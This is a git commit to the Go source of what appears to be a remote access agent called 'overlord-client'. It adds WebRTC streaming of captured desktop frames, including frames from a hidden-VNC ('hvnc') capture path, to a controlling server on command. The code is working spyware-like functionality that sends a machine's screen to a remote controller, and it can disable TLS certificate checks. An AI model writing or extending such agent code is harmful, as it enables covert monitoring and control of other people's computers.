This commit is contained in:
KingKDot
2026-05-13 13:44:33 -05:00
parent 30b6c63cfc
commit 8e97a32567
28 changed files with 1571 additions and 4 deletions
@@ -19,6 +19,7 @@ import (
"time"
rt "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
@@ -146,6 +147,21 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
if ctx.Err() != nil {
return nil
}
if frame.Header.Format == "h264" && webrtcpub.IsActive() {
dur := time.Second / time.Duration(fps)
if dur <= 0 {
dur = 33 * time.Millisecond
}
if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil {
log.Printf("webrtc: write h264 failed: %v", werr)
}
statFrames.Add(1)
statCapNs.Add(captureDur.Nanoseconds())
statEncNs.Add(encodeDur.Nanoseconds())
statTotalNs.Add(time.Since(t0).Nanoseconds())
statBytes.Add(int64(len(frame.Data)))
return nil
}
if !AcquireFrameSlot() {
return nil // backpressure: server hasn't acked previous frames
}
@@ -567,6 +583,9 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264Encoder()
}
h264Bytes, err := encodeH264Frame(img)
if err == nil && len(h264Bytes) > 0 {
prevMu.Lock()
@@ -672,6 +691,9 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
codec = "jpeg"
} else {
if webrtcpub.ConsumeKeyframeRequest() {
resetH264Encoder()
}
h264Bytes, err := encodeH264Frame(img)
if err == nil && len(h264Bytes) > 0 {
prevMu.Lock()
@@ -610,6 +610,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
env.Plugins.Unload(pluginId)
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil
case "webrtc_publish":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcPublish(ctx, env, cmdID, payload)
case "webrtc_stop":
return handleWebrtcStop(ctx, env, cmdID)
case "webrtc_p2p_offer":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
sendCommandResultSafe(env, cmdID, false, "missing payload")
return nil
}
return handleWebrtcP2POffer(ctx, env, cmdID, payload)
case "webrtc_p2p_ice":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return nil
}
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
case "webrtc_p2p_stop":
return handleWebrtcP2PStop(ctx, env, cmdID)
case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
@@ -0,0 +1,154 @@
package handlers
import (
"context"
"fmt"
"log"
"net/url"
"strings"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/webrtcpub"
"overlord-client/cmd/agent/wire"
)
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
whipPath, _ := payload["whipPath"].(string)
token, _ := payload["token"].(string)
if whipPath == "" || token == "" {
sendCommandResultSafe(env, cmdID, false, "missing whipPath/token")
return nil
}
whipURL, err := buildWhipURL(env, whipPath)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
opts := webrtcpub.Options{
WhipURL: whipURL,
PublishToken: token,
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
TLSCAPath: env.Cfg.TLSCAPath,
}
goSafe("webrtc publish", env.Cancel, func() {
if _, err := webrtcpub.Start(ctx, opts); err != nil {
log.Printf("webrtc: publish start failed: %v", err)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
})
return
}
// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
// subscribed viewer can start decoding immediately — otherwise it has
// to wait up to keyframeEvery for the next natural IDR.
capture.ResetPrev()
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result", CommandID: cmdID, OK: true,
})
})
return nil
}
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
_ = ctx
webrtcpub.Stop()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
offerSDP, _ := payload["sdp"].(string)
if sessionID == "" || offerSDP == "" {
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
return nil
}
callbacks := webrtcpub.P2POfferCallbacks{
OnICE: func(c webrtcpub.ICECandidate) {
if c.Candidate == "" {
return
}
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
Type: "webrtc_p2p_ice",
SessionID: sessionID,
Candidate: c.Candidate,
SDPMid: c.SDPMid,
SDPMLineIndex: c.SDPMLineIndex,
})
},
OnClose: func() {
log.Printf("webrtc: P2P session %s closed", sessionID)
},
}
answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
if err != nil {
sendCommandResultSafe(env, cmdID, false, err.Error())
return nil
}
// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
capture.ResetPrev()
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
Type: "webrtc_p2p_answer",
SessionID: sessionID,
SDP: answerSDP,
})
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
sessionID, _ := payload["sessionId"].(string)
candidate, _ := payload["candidate"].(string)
mid, _ := payload["sdpMid"].(string)
var idx uint16
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
idx = uint16(v)
}
webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
Candidate: candidate,
SDPMid: mid,
SDPMLineIndex: idx,
})
_ = env
_ = cmdID
return nil
}
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
webrtcpub.StopP2P()
sendCommandResultSafe(env, cmdID, true, "")
return nil
}
func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
if len(env.Cfg.ServerURLs) == 0 {
return "", fmt.Errorf("no server URLs configured")
}
idx := env.Cfg.ServerIndex
if idx < 0 || idx >= len(env.Cfg.ServerURLs) {
idx = 0
}
base, err := url.Parse(env.Cfg.ServerURLs[idx])
if err != nil {
return "", fmt.Errorf("parse server url: %w", err)
}
switch strings.ToLower(base.Scheme) {
case "wss":
base.Scheme = "https"
case "ws":
base.Scheme = "http"
}
if !strings.HasPrefix(whipPath, "/") {
whipPath = "/" + whipPath
}
base.Path = whipPath
base.RawQuery = ""
base.Fragment = ""
return base.String(), nil
}
@@ -0,0 +1,191 @@
//go:build overlord_webrtc
package webrtcpub
import (
"context"
"errors"
"fmt"
"log"
"sync"
"github.com/pion/webrtc/v4"
)
type p2pSession struct {
id string
pc *webrtc.PeerConnection
track *webrtc.TrackLocalStaticSample
onICE func(ICECandidate)
onClose func()
closeOnce sync.Once
}
var (
p2pMu sync.Mutex
p2p *p2pSession
)
func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) {
if sessionID == "" {
return "", errors.New("webrtcpub: empty sessionID")
}
if offerSDP == "" {
return "", errors.New("webrtcpub: empty offer SDP")
}
StopP2P()
mediaEngine := &webrtc.MediaEngine{}
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
RTPCodecCapability: webrtc.RTPCodecCapability{
MimeType: webrtc.MimeTypeH264,
ClockRate: 90000,
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
},
PayloadType: 102,
}, webrtc.RTPCodecTypeVideo); err != nil {
return "", fmt.Errorf("register codec: %w", err)
}
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
pc, err := api.NewPeerConnection(webrtc.Configuration{
ICEServers: []webrtc.ICEServer{
{URLs: []string{"stun:stun.l.google.com:19302"}},
},
})
if err != nil {
return "", fmt.Errorf("new peer connection: %w", err)
}
track, err := webrtc.NewTrackLocalStaticSample(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video-p2p", "overlord-desktop",
)
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("new track: %w", err)
}
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
Direction: webrtc.RTPTransceiverDirectionSendonly,
})
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("add transceiver: %w", err)
}
if sender := transceiver.Sender(); sender != nil {
go drainRTCP(sender)
}
sess := &p2pSession{
id: sessionID,
pc: pc,
track: track,
onICE: opts.OnICE,
onClose: opts.OnClose,
}
pc.OnICECandidate(func(c *webrtc.ICECandidate) {
if sess.onICE == nil {
return
}
if c == nil {
sess.onICE(ICECandidate{Candidate: ""})
return
}
init := c.ToJSON()
mid := ""
if init.SDPMid != nil {
mid = *init.SDPMid
}
var idx uint16
if init.SDPMLineIndex != nil {
idx = *init.SDPMLineIndex
}
sess.onICE(ICECandidate{
Candidate: init.Candidate,
SDPMid: mid,
SDPMLineIndex: idx,
})
})
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
log.Printf("webrtcpub: P2P peer state=%s", state)
switch state {
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected:
sess.closeAndUnregister()
}
})
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
Type: webrtc.SDPTypeOffer,
SDP: offerSDP,
}); err != nil {
_ = pc.Close()
return "", fmt.Errorf("set remote desc: %w", err)
}
answer, err := pc.CreateAnswer(nil)
if err != nil {
_ = pc.Close()
return "", fmt.Errorf("create answer: %w", err)
}
if err := pc.SetLocalDescription(answer); err != nil {
_ = pc.Close()
return "", fmt.Errorf("set local desc: %w", err)
}
p2pMu.Lock()
p2p = sess
p2pMu.Unlock()
registerWriter(p2pWriterID(sessionID), &trackWriter{t: track})
return answer.SDP, nil
}
func AddP2PICECandidate(sessionID string, c ICECandidate) {
if c.Candidate == "" {
return
}
p2pMu.Lock()
sess := p2p
p2pMu.Unlock()
if sess == nil || sess.id != sessionID {
return
}
mid := c.SDPMid
idx := c.SDPMLineIndex
if err := sess.pc.AddICECandidate(webrtc.ICECandidateInit{
Candidate: c.Candidate,
SDPMid: &mid,
SDPMLineIndex: &idx,
}); err != nil {
log.Printf("webrtcpub: add p2p ICE candidate failed: %v", err)
}
}
// StopP2P tears down the active P2P session, if any.
func StopP2P() {
p2pMu.Lock()
sess := p2p
p2p = nil
p2pMu.Unlock()
if sess != nil {
sess.closeAndUnregister()
}
}
func (s *p2pSession) closeAndUnregister() {
s.closeOnce.Do(func() {
unregisterWriter(p2pWriterID(s.id))
_ = s.pc.Close()
if s.onClose != nil {
s.onClose()
}
})
p2pMu.Lock()
if p2p == s {
p2p = nil
}
p2pMu.Unlock()
}
func p2pWriterID(sessionID string) string {
return "p2p:" + sessionID
}
@@ -0,0 +1,85 @@
package webrtcpub
import (
"sync"
"sync/atomic"
"time"
)
type FrameWriter interface {
WriteH264(nalu []byte, dur time.Duration) error
}
var (
writersMu sync.RWMutex
writers = map[string]FrameWriter{}
)
func registerWriter(id string, w FrameWriter) {
if id == "" || w == nil {
return
}
writersMu.Lock()
writers[id] = w
writersMu.Unlock()
}
func unregisterWriter(id string) {
if id == "" {
return
}
writersMu.Lock()
delete(writers, id)
writersMu.Unlock()
}
func IsActive() bool {
writersMu.RLock()
defer writersMu.RUnlock()
return len(writers) > 0
}
var keyframeWanted atomic.Bool
func RequestKeyframe() {
keyframeWanted.Store(true)
}
func ConsumeKeyframeRequest() bool {
return keyframeWanted.Swap(false)
}
func WriteH264(nalu []byte, dur time.Duration) error {
if len(nalu) == 0 {
return nil
}
writersMu.RLock()
defer writersMu.RUnlock()
for _, w := range writers {
_ = w.WriteH264(nalu, dur)
}
return nil
}
// Deadass fuck WebRTC bro ts is so confusing
type Options struct {
// (e.g. https://server:5173/api/webrtc/agents/abc/whip).
WhipURL string
// PublishToken is the bearer token issued by the server.
PublishToken string
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
TLSInsecureSkipVerify bool
// TLSCAPath is an optional custom CA bundle.
TLSCAPath string
}
type ICECandidate struct {
Candidate string `msgpack:"candidate"`
SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
}
type P2POfferCallbacks struct {
OnICE func(c ICECandidate)
OnClose func()
}
@@ -0,0 +1,28 @@
//go:build !overlord_webrtc
package webrtcpub
import (
"context"
"errors"
)
var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tags overlord_webrtc)")
type Publisher struct{}
func Start(_ context.Context, _ Options) (*Publisher, error) {
return nil, ErrNotCompiled
}
func Stop() {}
func (*Publisher) Close() {}
func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) {
return "", ErrNotCompiled
}
func AddP2PICECandidate(_ string, _ ICECandidate) {}
func StopP2P() {}
@@ -0,0 +1,258 @@
//go:build overlord_webrtc
package webrtcpub
import (
"bytes"
"context"
"crypto/tls"
"crypto/x509"
"errors"
"fmt"
"io"
"log"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"github.com/pion/rtcp"
"github.com/pion/webrtc/v4"
"github.com/pion/webrtc/v4/pkg/media"
)
func drainRTCP(sender *webrtc.RTPSender) {
buf := make([]byte, 1500)
for {
n, _, err := sender.Read(buf)
if err != nil {
return
}
packets, err := rtcp.Unmarshal(buf[:n])
if err != nil {
continue
}
for _, p := range packets {
switch p.(type) {
case *rtcp.PictureLossIndication, *rtcp.FullIntraRequest:
RequestKeyframe()
}
}
}
}
type trackWriter struct {
t *webrtc.TrackLocalStaticSample
}
func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error {
return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
}
const whipWriterID = "whip"
type Publisher struct {
pc *webrtc.PeerConnection
resourceURL string
token string
httpClient *http.Client
closeOnce sync.Once
}
var (
whipMu sync.Mutex
whip *Publisher
)
func Start(ctx context.Context, opts Options) (*Publisher, error) {
if strings.TrimSpace(opts.WhipURL) == "" {
return nil, errors.New("webrtcpub: empty WhipURL")
}
if strings.TrimSpace(opts.PublishToken) == "" {
return nil, errors.New("webrtcpub: empty PublishToken")
}
Stop()
httpClient := buildHTTPClient(opts)
mediaEngine := &webrtc.MediaEngine{}
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
RTPCodecCapability: webrtc.RTPCodecCapability{
MimeType: webrtc.MimeTypeH264,
ClockRate: 90000,
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
},
PayloadType: 102,
}, webrtc.RTPCodecTypeVideo); err != nil {
return nil, fmt.Errorf("register codec: %w", err)
}
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
pc, err := api.NewPeerConnection(webrtc.Configuration{})
if err != nil {
return nil, fmt.Errorf("new peer connection: %w", err)
}
track, err := webrtc.NewTrackLocalStaticSample(
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
"overlord-video", "overlord-desktop",
)
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("new track: %w", err)
}
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
Direction: webrtc.RTPTransceiverDirectionSendonly,
})
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("add transceiver: %w", err)
}
if sender := transceiver.Sender(); sender != nil {
go drainRTCP(sender)
}
offer, err := pc.CreateOffer(nil)
if err != nil {
_ = pc.Close()
return nil, fmt.Errorf("create offer: %w", err)
}
gathered := webrtc.GatheringCompletePromise(pc)
if err := pc.SetLocalDescription(offer); err != nil {
_ = pc.Close()
return nil, fmt.Errorf("set local desc: %w", err)
}
select {
case <-gathered:
case <-time.After(5 * time.Second):
log.Printf("webrtcpub: ICE gathering timeout; continuing with partial candidates")
case <-ctx.Done():
_ = pc.Close()
return nil, ctx.Err()
}
answerSDP, resourceURL, err := postWhip(ctx, httpClient, opts.WhipURL, opts.PublishToken, pc.LocalDescription().SDP)
if err != nil {
_ = pc.Close()
return nil, err
}
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
Type: webrtc.SDPTypeAnswer,
SDP: answerSDP,
}); err != nil {
_ = pc.Close()
return nil, fmt.Errorf("set remote desc: %w", err)
}
pub := &Publisher{
pc: pc,
resourceURL: resourceURL,
token: opts.PublishToken,
httpClient: httpClient,
}
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
log.Printf("webrtcpub: WHIP peer state=%s", state)
switch state {
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed:
whipMu.Lock()
if whip == pub {
whip = nil
}
whipMu.Unlock()
unregisterWriter(whipWriterID)
}
})
whipMu.Lock()
whip = pub
whipMu.Unlock()
registerWriter(whipWriterID, &trackWriter{t: track})
log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL)
return pub, nil
}
func Stop() {
whipMu.Lock()
p := whip
whip = nil
whipMu.Unlock()
unregisterWriter(whipWriterID)
if p != nil {
p.Close()
}
}
func (p *Publisher) Close() {
p.closeOnce.Do(func() {
if p.resourceURL != "" {
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
req, err := http.NewRequestWithContext(ctx, http.MethodDelete, p.resourceURL, nil)
if err == nil {
if p.token != "" {
req.Header.Set("Authorization", "Bearer "+p.token)
}
if resp, err := p.httpClient.Do(req); err == nil {
_ = resp.Body.Close()
}
}
}
_ = p.pc.Close()
})
}
func postWhip(ctx context.Context, client *http.Client, whipURL, token, sdp string) (string, string, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodPost, whipURL, strings.NewReader(sdp))
if err != nil {
return "", "", fmt.Errorf("build whip request: %w", err)
}
req.Header.Set("Content-Type", "application/sdp")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := client.Do(req)
if err != nil {
return "", "", fmt.Errorf("whip post: %w", err)
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
if resp.StatusCode/100 != 2 {
return "", "", fmt.Errorf("whip post: %s: %s", resp.Status, bytes.TrimSpace(body))
}
resource := resp.Header.Get("Location")
if resource != "" {
if parsed, err := url.Parse(resource); err == nil && !parsed.IsAbs() {
base, _ := url.Parse(whipURL)
if base != nil {
resource = base.ResolveReference(parsed).String()
}
}
}
return string(body), resource, nil
}
func buildHTTPClient(opts Options) *http.Client {
tlsCfg := &tls.Config{
InsecureSkipVerify: opts.TLSInsecureSkipVerify,
MinVersion: tls.VersionTLS12,
}
if path := strings.TrimSpace(opts.TLSCAPath); path != "" {
if pem, err := os.ReadFile(path); err == nil {
pool := x509.NewCertPool()
if pool.AppendCertsFromPEM(pem) {
tlsCfg.RootCAs = pool
}
}
}
return &http.Client{
Timeout: 15 * time.Second,
Transport: &http.Transport{
TLSClientConfig: tlsCfg,
},
}
}
@@ -286,3 +286,17 @@ type DisconnectInfo struct {
Reason string `msgpack:"reason"` // "normal", "panic", "crash", "network", "timeout"
Detail string `msgpack:"detail,omitempty"` // error message
}
type WebRTCP2PAnswer struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
SDP string `msgpack:"sdp"`
}
type WebRTCP2PIce struct {
Type string `msgpack:"type"`
SessionID string `msgpack:"sessionId"`
Candidate string `msgpack:"candidate"`
SDPMid string `msgpack:"sdpMid"`
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
}
+19
View File
@@ -24,7 +24,26 @@ require (
github.com/gen2brain/x264-go/x264c v0.0.0-20241022182000-732e1bdb7da2 // indirect
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 // indirect
github.com/godbus/dbus/v5 v5.1.0 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pion/datachannel v1.5.10 // indirect
github.com/pion/dtls/v3 v3.0.4 // indirect
github.com/pion/ice/v4 v4.0.3 // indirect
github.com/pion/interceptor v0.1.37 // indirect
github.com/pion/logging v0.2.2 // indirect
github.com/pion/mdns/v2 v2.0.7 // indirect
github.com/pion/randutil v0.1.0 // indirect
github.com/pion/rtcp v1.2.15 // indirect
github.com/pion/rtp v1.8.10 // indirect
github.com/pion/sctp v1.8.35 // indirect
github.com/pion/sdp/v3 v3.0.9 // indirect
github.com/pion/srtp/v3 v3.0.4 // indirect
github.com/pion/stun/v3 v3.0.0 // indirect
github.com/pion/transport/v3 v3.0.7 // indirect
github.com/pion/turn/v4 v4.0.0 // indirect
github.com/pion/webrtc/v4 v4.0.7 // indirect
github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect
github.com/wlynxg/anet v0.0.5 // indirect
golang.org/x/net v0.51.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
+50
View File
@@ -4,6 +4,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
@@ -16,29 +18,77 @@ github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2 h1:lihaRUKRj
github.com/gen2brain/x264-go/yuv v0.0.0-20221204084822-82ee2951dea2/go.mod h1:PzzJntdOaVt4Gc37fNaEXpqmhKkUgd/xqyPMUfx+FQc=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/jezek/xgb v1.1.1 h1:bE/r8ZZtSv7l9gk6nU0mYx51aXrvnyb44892TwSaqS4=
github.com/jezek/xgb v1.1.1/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk=
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018 h1:NQYgMY188uWrS+E/7xMVpydsI48PMHcc7SfR4OxkDF4=
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018/go.mod h1:Pmpz2BLf55auQZ67u3rvyI2vAQvNetkK/4zYUmpauZQ=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc=
github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk=
github.com/pion/datachannel v1.5.10 h1:ly0Q26K1i6ZkGf42W7D4hQYR90pZwzFOjTq5AuCKk4o=
github.com/pion/datachannel v1.5.10/go.mod h1:p/jJfC9arb29W7WrxyKbepTU20CFgyx5oLo8Rs4Py/M=
github.com/pion/dtls/v3 v3.0.4 h1:44CZekewMzfrn9pmGrj5BNnTMDCFwr+6sLH+cCuLM7U=
github.com/pion/dtls/v3 v3.0.4/go.mod h1:R373CsjxWqNPf6MEkfdy3aSe9niZvL/JaKlGeFphtMg=
github.com/pion/ice/v4 v4.0.3 h1:9s5rI1WKzF5DRqhJ+Id8bls/8PzM7mau0mj1WZb4IXE=
github.com/pion/ice/v4 v4.0.3/go.mod h1:VfHy0beAZ5loDT7BmJ2LtMtC4dbawIkkkejHPRZNB3Y=
github.com/pion/interceptor v0.1.37 h1:aRA8Zpab/wE7/c0O3fh1PqY0AJI3fCSEM5lRWJVorwI=
github.com/pion/interceptor v0.1.37/go.mod h1:JzxbJ4umVTlZAf+/utHzNesY8tmRkM2lVmkS82TTj8Y=
github.com/pion/logging v0.2.2 h1:M9+AIj/+pxNsDfAT64+MAVgJO0rsyLnoJKCqf//DoeY=
github.com/pion/logging v0.2.2/go.mod h1:k0/tDVsRCX2Mb2ZEmTqNa7CWsQPc+YYCB7Q+5pahoms=
github.com/pion/mdns/v2 v2.0.7 h1:c9kM8ewCgjslaAmicYMFQIde2H9/lrZpjBkN8VwoVtM=
github.com/pion/mdns/v2 v2.0.7/go.mod h1:vAdSYNAT0Jy3Ru0zl2YiW3Rm/fJCwIeM0nToenfOJKA=
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
github.com/pion/rtcp v1.2.15 h1:LZQi2JbdipLOj4eBjK4wlVoQWfrZbh3Q6eHtWtJBZBo=
github.com/pion/rtcp v1.2.15/go.mod h1:jlGuAjHMEXwMUHK78RgX0UmEJFV4zUKOFHR7OP+D3D0=
github.com/pion/rtp v1.8.10 h1:puphjdbjPB+L+NFaVuZ5h6bt1g5q4kFIoI+r5q/g0CU=
github.com/pion/rtp v1.8.10/go.mod h1:8uMBJj32Pa1wwx8Fuv/AsFhn8jsgw+3rUC2PfoBZ8p4=
github.com/pion/sctp v1.8.35 h1:qwtKvNK1Wc5tHMIYgTDJhfZk7vATGVHhXbUDfHbYwzA=
github.com/pion/sctp v1.8.35/go.mod h1:EcXP8zCYVTRy3W9xtOF7wJm1L1aXfKRQzaM33SjQlzg=
github.com/pion/sdp/v3 v3.0.9 h1:pX++dCHoHUwq43kuwf3PyJfHlwIj4hXA7Vrifiq0IJY=
github.com/pion/sdp/v3 v3.0.9/go.mod h1:B5xmvENq5IXJimIO4zfp6LAe1fD9N+kFv+V/1lOdz8M=
github.com/pion/srtp/v3 v3.0.4 h1:2Z6vDVxzrX3UHEgrUyIGM4rRouoC7v+NiF1IHtp9B5M=
github.com/pion/srtp/v3 v3.0.4/go.mod h1:1Jx3FwDoxpRaTh1oRV8A/6G1BnFL+QI82eK4ms8EEJQ=
github.com/pion/stun/v3 v3.0.0 h1:4h1gwhWLWuZWOJIJR9s2ferRO+W3zA/b6ijOI6mKzUw=
github.com/pion/stun/v3 v3.0.0/go.mod h1:HvCN8txt8mwi4FBvS3EmDghW6aQJ24T+y+1TKjB5jyU=
github.com/pion/transport/v3 v3.0.7 h1:iRbMH05BzSNwhILHoBoAPxoB9xQgOaJk+591KC9P1o0=
github.com/pion/transport/v3 v3.0.7/go.mod h1:YleKiTZ4vqNxVwh77Z0zytYi7rXHl7j6uPLGhhz9rwo=
github.com/pion/turn/v4 v4.0.0 h1:qxplo3Rxa9Yg1xXDxxH8xaqcyGUtbHYw4QSCvmFWvhM=
github.com/pion/turn/v4 v4.0.0/go.mod h1:MuPDkm15nYSklKpN8vWJ9W2M0PlyQZqYt1McGuxG7mA=
github.com/pion/webrtc/v4 v4.0.7 h1:aeq78uVnFZd2umXW0O9A2VFQYuS7+BZxWetQvSp2jPo=
github.com/pion/webrtc/v4 v4.0.7/go.mod h1:oFVBBVSHU3vAEwSgnk3BuKCwAUwpDwQhko1EDwyZWbU=
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d h1:ls+7AYarUlUSetfnN/DKVNcK6W8mQWc6VblmOm4XwX0=
github.com/pixiv/go-libjpeg v0.0.0-20190822045933-3da21a74767d/go.mod h1:DO7ixpslN6XfbWzeNH9vkS5CF2FQUX81B85rYe9zDxU=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA=
